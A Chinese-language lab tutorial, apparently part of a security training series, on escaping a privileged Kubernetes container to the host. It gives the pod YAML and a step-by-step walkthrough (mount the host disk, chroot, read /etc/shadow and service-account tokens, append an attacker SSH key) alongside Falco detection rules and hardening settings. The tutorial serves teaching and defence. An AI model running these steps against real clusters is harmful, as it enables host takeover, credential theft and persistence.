
ATT&CK TA0004 Privilege Escalation——容器逃逸六式的第一招:特權容器掛載宿主機磁碟。
| 場景 | ATT&CK | 技術 | 逃逸手法 |
|---|---|---|---|
| S13 | T1611 | Escape to Host | Privileged + mount device → chroot |
從今天到 Day 11,我們會逐一拆解六種容器逃逸手法加上一個核心 CVE。每一種都可以在 KOAD 靶場中實際操作,並搭配 Falco 偵測規則即時觀察告警。
所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。
開始前請確認以下環境就緒。
# 主機終端
kubectl get pod -n koad escape-privileged
預期結果:
NAME READY STATUS RESTARTS AGE
escape-privileged 1/1 Running 0 ...
如果 Pod 不在 Running 狀態,重新部署:
kubectl apply -f scenarios/S13-escape-privileged.yaml kubectl wait --for=condition=Ready pod/escape-privileged -n koad --timeout=60s
建議另開一個終端視窗,保持 Falco 日誌持續輸出:
# 第二終端 — 左右並排觀察告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|privileged\|mount"
在攻擊過程中,Falco 會即時告警。兩個視窗左右並排——左邊攻擊、右邊觀察——是最有效的學習方式。
完成本日實作後,你將能夠:
privileged: true 為什麼能導致容器逃逸如果你已經熟悉 Linux Namespace、cgroup、mount,可以直接跳到下一節。
容器本質上是 Linux 核心功能的組合。理解以下六個概念,才能看懂逃逸為什麼能成功:
| 概念 | 一句話 | 容器逃逸中的角色 |
|---|---|---|
| Linux Namespace | 隔離機制(PID/Network/Mount/User),讓每個容器看到獨立的世界 | 逃逸 = 突破 Namespace 邊界,看到宿主機的 PID/檔案系統 |
| cgroup | 資源限制(CPU/Memory),控制容器最多能用多少資源 | cgroup v1 的 release_agent 可被攻擊者利用在宿主機執行指令(S14) |
| mount | 掛載檔案系統到指定路徑,例如 mount /dev/sda1 /mnt |
特權容器可以 mount 宿主機磁碟,直接讀寫宿主機檔案(S13) |
| /proc | 虛擬檔案系統,是核心狀態的窗口,每個程序在 /proc/<PID>/ 下有一個目錄 |
寫入 /proc/sys/kernel/core_pattern 可以在宿主機執行任意指令(S16) |
| Capabilities | 細粒度權限,取代 root 的全有或全無。共約 40 個,各控制一類操作 | CAP_SYS_ADMIN 允許 mount,CAP_SYS_PTRACE 允許注入程序(S17) |
| seccomp | 系統呼叫過濾器,限制容器能呼叫哪些 syscall | privileged: true 停用 seccomp,讓所有 syscall 都可用 |
容器逃逸的本質就是:利用配置錯誤,突破上述一個或多個隔離機制。接下來的六式逃逸,每一式都對應上表中不同的突破點。
容器逃逸是攻擊者從容器內部突破隔離邊界,取得宿主機存取權的過程。
在 Kubernetes 的世界裡,一旦逃逸成功,攻擊者可以:
/etc/shadow、SSH key、kubelet 設定)容器逃逸 = 從 Pod 層級直接跳到 Node 層級,跳過了所有 Namespace 和 RBAC 的限制。

MITRE ATT&CK 將容器逃逸歸類為 T1611 Escape to Host,定義為:
攻擊者可能突破容器以取得底層宿主機的存取權。
T1611 是 ATT&CK Containers Matrix 中技術深度最高的一個技術,KOAD 為它設計了六個子場景(S13–S18),今天從最直覺的一種開始。
容器逃逸通常不是攻擊的起點,而是攻擊鏈的中間環節。典型路徑:

攻擊者需要先取得在叢集內部署 Pod 的能力(透過竊取的高權限 SA Token 或被入侵的 CI/CD Pipeline),才能建立帶有逃逸前提條件的 Pod。
privileged: true 如此危險當容器設定 privileged: true 時,Docker/containerd 會:
000001ffffffffff(38 個 capabilities 全開)/dev:容器可以看到並存取宿主機的所有裝置
特權容器和宿主機 root 之間的差距,只剩下一個 mount 和一個 chroot。
容器的隔離依賴六種 Linux Namespace:
| Namespace | 隔離的資源 | 特權容器影響 |
|---|---|---|
| PID | Process ID | 不受影響(除非 hostPID) |
| Mount | 檔案系統掛載點 | CAP_SYS_ADMIN 允許 mount |
| Network | 網路介面、路由 | 不受影響(除非 hostNetwork) |
| UTS | Hostname | 不受影響 |
| IPC | System V IPC | 不受影響(除非 hostIPC) |
| User | UID/GID 映射 | 通常不使用 user namespace |
特權容器的核心問題:雖然 Mount Namespace 仍然存在(容器有自己的 mount 表),但 CAP_SYS_ADMIN 允許容器執行 mount 系統呼叫,加上 /dev 完整暴露,容器可以掛載任何裝置——包括宿主機的磁碟。

apiVersion: v1
kind: Pod
metadata:
name: escape-privileged
namespace: koad
labels:
koad-scenario: S13
mitre-attck: T1611
escape-method: mount-device
spec:
containers:
- name: attacker
image: ubuntu:22.04
command: ["sh", "-c"]
args:
- |
echo "=== KOAD-S13: Privileged Escape — Mount Device ==="
echo "Attack steps:"
echo " 1. fdisk -l # List host disks"
echo " 2. mkdir -p /mnt/host"
echo " 3. mount /dev/sda1 /mnt/host # Mount host root"
echo " 4. chroot /mnt/host /bin/bash # Chroot into host"
echo " 5. cat /etc/shadow # Read host secrets"
sleep infinity
securityContext:
privileged: true # ← 一切的根源
只需要一行 privileged: true,就打開了整條逃逸路徑。
securityContext:
privileged: true # 關閉所有隔離:seccomp、AppArmor、Capabilities 全開
# 容器可見宿主機所有 /dev 裝置
# 允許 mount 系統呼叫 → 掛載宿主機磁碟
這個場景刻意只用一行 privileged: true,不額外加 hostPID、hostNetwork 或 hostPath。目的是展示:光靠 privileged 就足以完成逃逸,因為它同時給了 CAP_SYS_ADMIN(允許 mount)和 /dev 裝置存取(提供磁碟路徑)。
S13 選擇 mount device 作為逃逸第一式,因為這是現實中最常見的容器逃逸路徑。2018 年 Tesla 挖礦事件、2021 年 Azurescape 漏洞都涉及特權容器。在生產環境中,開發者常因除錯需求或不了解風險而設定 privileged: true,而 CI/CD Pipeline、監控 agent 等元件也經常被過度授權。此場景讓學員親手體驗從一行設定到完整逃逸的最短路徑,建立「永遠不要 privileged」的安全意識。
踩坑提醒:在 Minikube Docker driver 環境中,
/dev/sda1可能不存在。Minikube 使用的磁碟裝置名稱取決於 driver 類型。用fdisk -l或lsblk先確認實際的裝置路徑。如果看到/dev/vda1就用/dev/vda1。
# 主機終端
kubectl exec -it -n koad escape-privileged -- bash
預期結果:
root@escape-privileged:/#
成功進入特權容器,注意 prompt 顯示
root——容器以 root 身份執行,這是逃逸的第一個前提條件。
Falco 觀察:特權容器內執行指令時,Falco 監控視窗會出現:
[CRITICAL] KOAD S13 Privileged Container Started (pod=escape-privileged)
以下步驟 2–5 都在容器內(
escape-privileged)執行。

# 容器內 (escape-privileged)
cat /proc/self/status | grep CapEff
預期結果:
CapEff: 000001ffffffffff
000001ffffffffff是 38 個 capabilities 全開。對比普通容器的00000000a80425fb,差距一目瞭然。

grep Seccomp /proc/self/status
預期結果:
Seccomp: 0
Seccomp_filters: 0
Seccomp: 0表示 disabled。普通容器會顯示Seccomp: 2(filter mode)。

fdisk -l 2>/dev/null | grep "Disk /dev"
預期結果:
Disk /dev/sda: 60 GiB, 64424509440 bytes, 125829120 sectors
Disk /dev/sdb: 1 GiB, 1073741824 bytes, 2097152 sectors
特權容器能看到宿主機的所有磁碟裝置——這是逃逸的關鍵前提,接下來要 mount 宿主機的根分區。
lsblk
預期結果:
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 60G 0 disk
├─sda1 8:1 0 59.9G 0 part
└─sda2 8:2 0 128M 0 part [SWAP]
sdb 8:16 0 1G 0 disk
普通容器看不到
/dev/sda,特權容器可以。

mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
預期結果:
(無輸出表示成功)
mount無輸出代表掛載成功。這一步將宿主機的整個根分割區(/dev/sda1)掛載進容器,攻擊者從此可以讀寫宿主機上的所有檔案。
Falco 觀察:執行
mount後,Falco 監控視窗應該出現 Critical 告警:[CRITICAL] KOAD Mount in Container (pod=escape-privileged command=mount /dev/sda1 /mnt/host)
ls /mnt/host/
預期結果:
bin boot dev etc home lib lib64 lost+found media mnt
opt proc root run sbin srv sys tmp usr var
宿主機的完整檔案系統已掛載到容器的
/mnt/host。
踩坑提醒:如果
mount報錯wrong fs type, bad option, bad superblock,用blkid /dev/sda1確認 filesystem type,再用mount -t ext4 /dev/sda1 /mnt/host指定 type。

# 容器內 → 進入宿主機
chroot /mnt/host /bin/bash
預期結果:
root@minikube:/#
prompt 變成
root@minikube——已進入宿主機的 root filesystem。容器逃逸完成! 從這一步開始,你的指令直接作用在宿主機上。
whoami
預期結果:
root
確認是 root 權限。
hostname
預期結果:
minikube
現在你「就是」宿主機的 root——容器逃逸完成。

以下步驟在 chroot 環境中執行——你的指令直接作用在宿主機的檔案系統上。
# 已 chroot 到宿主機
cat /etc/shadow | head -3
預期結果:
root:$6$xxxx:19000:0:99999:7:::
daemon:*:19000:0:99999:7:::
bin:*:19000:0:99999:7:::
成功讀取
/etc/shadow——宿主機的密碼雜湊檔。$6$開頭表示 SHA-512 雜湊,攻擊者可以離線暴力破解或直接用於 Pass-the-Hash 攻擊。

cat /var/lib/kubelet/config.yaml | head -10
預期結果:
apiVersion: kubelet.config.k8s.io/v1beta1
authentication:
anonymous:
enabled: false
webhook:
cacheTTL: 0s
enabled: true
kubelet 配置檔暴露了節點的認證設定。攻擊者可以從中取得 kubelet 的憑證路徑,進一步用這些憑證向 API Server 發出請求,控制整個叢集。

find /var/lib/kubelet/pods/ -name "token" -type f 2>/dev/null | head -5
預期結果:
/var/lib/kubelet/pods/abc123/volumes/kubernetes.io~projected/kube-api-access-xyz/token
可以讀取 Node 上所有 Pod 的 SA Token——相當於竊取所有 Pod 的身份。

mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAA...attacker-key" >> /mnt/host/root/.ssh/authorized_keys
預期結果:
(無輸出,SSH 公鑰已寫入)
攻擊者將自己的 SSH 公鑰寫入宿主機的
authorized_keys,即使容器被刪除,攻擊者仍然可以透過 SSH 直接登入宿主機——這就是持久化。
ls /mnt/host/etc/kubernetes/manifests/
預期結果:
etcd.yaml kube-apiserver.yaml kube-controller-manager.yaml kube-scheduler.yaml
攻擊者可以修改 static pod manifest(如
kube-apiserver.yaml)植入 sidecar,kubelet 會自動重啟 static pod。


K8s Goat 的 Scenario 4「Container escape to the host system」使用了相同的手法。差別在於 KOAD 的 S13 提供了完整的攻擊指令和 Falco 偵測規則。
微軟 Azure 的 ACI(Azure Container Instances)曾被發現可以透過特權容器逃逸到宿主機。攻擊者可以取得多租戶環境中其他客戶的容器資料。這個漏洞的根本原因和 S13 一樣——容器被賦予了不必要的特權。
Siloscape 是第一個已知的針對 Windows Container 的惡意軟體。它利用 Windows Server Container 的逃逸漏洞突破隔離,取得節點權限後在 Kubernetes 叢集中部署後門。攻擊模式與 S13 類似——先逃逸再橫向擴散。
Tesla 的 Kubernetes 叢集因為 Dashboard 未認證暴露(類似 Day 2 的 Initial Access)被入侵,攻擊者部署了特權容器進行挖礦。這個事件完整展示了 Initial Access → Privilege Escalation → Impact 的攻擊鏈。
- rule: KOAD S13 Privileged Container Started
desc: Detect privileged container execution
condition: >
container and container.privileged = true and evt.type = execve
output: >
Process in privileged container
(container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name
command=%proc.cmdline image=%container.image.repository)
priority: CRITICAL
tags: [KOAD, T1611, privilege-escalation]
除了偵測特權容器的啟動,KOAD 還偵測容器內的 mount 操作:
- rule: KOAD Mount in Container
desc: Detect mount syscall in container (escape attempt)
condition: >
evt.type in (mount, umount2) and container and
not k8s.ns.name in (kube-system, calico-system)
output: >
Mount operation in container
(container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name
command=%proc.cmdline)
priority: CRITICAL
tags: [KOAD, T1611, container-escape]
在 KOAD 攻擊鏈測試中,KOAD S13 規則產生了 47 筆 Critical 告警,偵測到 calico-node 和 kube-proxy 等系統元件的特權容器,以及攻擊場景的特權 Pod。
[Critical] KOAD S13 Privileged Container Started — pod=calico-node-bs89t
[Critical] KOAD S13 Privileged Container Started — pod=kube-proxy-tmp2h
[Critical] KOAD S13 Privileged Container Started — pod=escape-privileged
Falco 的特權容器偵測有一個實務挑戰:系統元件(calico-node、kube-proxy)本身就是特權容器。需要在規則中排除已知的系統元件:
condition: >
container and container.privileged = true and evt.type = execve and
not k8s.ns.name in (kube-system, calico-system) and
not container.image.repository in (
docker.io/calico/node,
registry.k8s.io/kube-proxy
)
踩坑提醒:排除清單要定期更新。新增系統元件(如 CSI driver、logging agent)也可能需要特權模式,遺漏排除會造成告警疲勞,但排除太多又會漏報。建議用 Kyverno PolicyReport 來管理特權容器的白名單。
Linux Capabilities 是將傳統的 root 權限拆分成 38 個細粒度的能力。容器逃逸主要利用以下 capabilities:
| Capability | 作用 | 危險程度 | 對應逃逸 |
|---|---|---|---|
| CAP_SYS_ADMIN | mount、pivot_root、namespace 操作 | 極高 | S13, S14 |
| CAP_NET_RAW | 原始封包(ARP spoofing) | 高 | S27 橫向移動 |
| CAP_SYS_PTRACE | ptrace(process 注入) | 高 | S17 |
| CAP_DAC_OVERRIDE | 忽略檔案權限 | 高 | — |
| CAP_SYS_MODULE | 載入 kernel module | 極高 | rootkit |
| CAP_MKNOD | 建立裝置節點 | 高 | S18 lxcfs |
| CAP_NET_ADMIN | 網路設定修改 | 高 | S27 |
| CAP_SYS_RAWIO | 直接存取 I/O port | 極高 | — |
# 普通容器(Docker 預設 14 個 capabilities)
CapEff: 00000000a80425fb
→ 二進制展開:
cap_chown, cap_dac_override, cap_fowner, cap_fsetid,
cap_kill, cap_setgid, cap_setuid, cap_setpcap,
cap_net_bind_service, cap_net_raw, cap_sys_chroot,
cap_mknod, cap_audit_write, cap_setfcap
→ 14 個,不包含 SYS_ADMIN
# 特權容器(全部 38 個)
CapEff: 000001ffffffffff
→ 二進制:38 個位元全部是 1
→ 包含所有 capability,尤其是危險的 SYS_ADMIN
逃逸關鍵的 capabilities:
CAP_SYS_ADMIN:允許 mount 操作(S13 逃逸的核心)CAP_MKNOD:允許建立裝置節點(S18 lxcfs 逃逸)CAP_SYS_PTRACE:允許 ptrace attach(S17 逃逸)可以,但有限制:
securityContext:
capabilities:
add: ["SYS_ADMIN"]
只加 SYS_ADMIN 可以執行 mount,但 seccomp 和 AppArmor 仍然啟用,會阻擋部分操作。privileged: true 同時關閉了所有安全機制,所以逃逸最容易。
securityContext:
privileged: false # 明確禁止特權
runAsNonRoot: true # 非 root 執行
runAsUser: 1000 # 指定 UID
allowPrivilegeEscalation: false # 禁止提權
capabilities:
drop: ["ALL"] # 移除所有 capabilities
readOnlyRootFilesystem: true # 唯讀根檔案系統
seccompProfile:
type: RuntimeDefault # 啟用預設 seccomp
| 元件 | 需要特權 | 原因 | 替代方案 |
|---|---|---|---|
| calico-node | 是 | 操作網路介面和路由表 | Cilium(部分不需要特權) |
| kube-proxy | 是 | 操作 iptables/IPVS | 用 eBPF 取代(Cilium) |
| CSI driver | 是 | 掛載 Volume | 無(但可限制到特定節點) |
| Falco | 是 | 載入 eBPF 程式 | modern_ebpf 只需 SYS_BPF |
| 應用 Pod | 否 | 不需要 | 永遠不要 |
S13 涉及多個 CKS 考試領域:
| 領域 | 考點 | 權重 |
|---|---|---|
| System Hardening | seccomp profile 配置 | 10% |
| Minimize Microservice Vulnerabilities | Pod Security Standards (Restricted) | 20% |
| Minimize Microservice Vulnerabilities | SecurityContext 最佳實踐 | 20% |
題目:叢集中有一個 Namespace production,請配置 Pod Security Standards 使其阻擋所有特權容器的建立,並將已存在的特權 Pod 列出。
# Step 1:啟用 PSS Restricted
kubectl label namespace production \
pod-security.kubernetes.io/enforce=restricted \
pod-security.kubernetes.io/warn=restricted \
pod-security.kubernetes.io/audit=restricted
# Step 2:找出已存在的特權 Pod
kubectl get pods -n production -o json | \
jq -r '.items[] | select(
.spec.containers[].securityContext.privileged == true
) | .metadata.name'
# Step 3:驗證 PSS 生效(嘗試建立特權 Pod)
kubectl run test --image=busybox -n production \
--overrides='{"spec":{"containers":[{
"name":"test","image":"busybox",
"securityContext":{"privileged":true}
}]}}'
# 預期結果:Error from server (Forbidden)
完成攻擊演練後,清理環境以便後續場景使用:
# →如果還在 chroot 中,先退出
exit # 離開 chroot(回到容器)
# 容器內:解除掛載宿主機檔案系統
umount /mnt/host
# 離開容器
exit # 回到主機終端
如果需要完全重設 Pod 環境:
# 主機終端 kubectl delete pod -n koad escape-privileged kubectl apply -f scenarios/S13-escape-privileged.yaml
| 問題 | 原因 | 解法 |
|---|---|---|
mount 指令失敗:permission denied |
容器不是 privileged 模式 | 確認 YAML 中 securityContext.privileged: true;用 `cat /proc/self/status |
mount -t cgroup 失敗:No such device |
宿主機使用 cgroup v2(Ubuntu 22.04+/Fedora 36+ 預設) | cgroup v1 逃逸(S14)在 cgroup v2 環境不適用;改用 S13 privileged mount 逃逸或參考 Day 9 的 cgroup v2 說明 |
fdisk -l 看不到磁碟裝置 |
容器的 /dev 沒有完整裝置節點 |
用 lsblk 或 cat /proc/partitions 找到正確的裝置名稱(通常是 vda 或 sda) |
| 逃逸腳本卡住沒反應 | 寫入 release_agent 後等待 cgroup 觸發 | 確認已 echo 1 > notify_on_release 且觸發了 cgroup 內的程序結束;手動 echo $$ > cgroup.procs 後 exit |
chroot /mnt 後指令異常 |
掛載的是 overlay 分割區而非根分割區 | 用 `mount |
CapEff: 000001ffffffffff)Seccomp: 0)fdisk -l)mount → /mnt/host)/etc/shadow、kubelet config、SA tokens)cat /proc/1/status | grep Cap 確認特權容器 Capabilities 全開cat /proc/1/status | grep Seccomp 確認 seccomp 未啟用/etc/shadow 和 kubelet configprivileged: true 等同於放棄所有容器隔離privileged: true + 三條指令(fdisk → mount → chroot)明天 Day 9 我們繼續逃逸第二、三式——Cgroup release_agent 和 lxcfs 攻擊,這兩種手法比 mount device 更隱蔽,也更難防禦。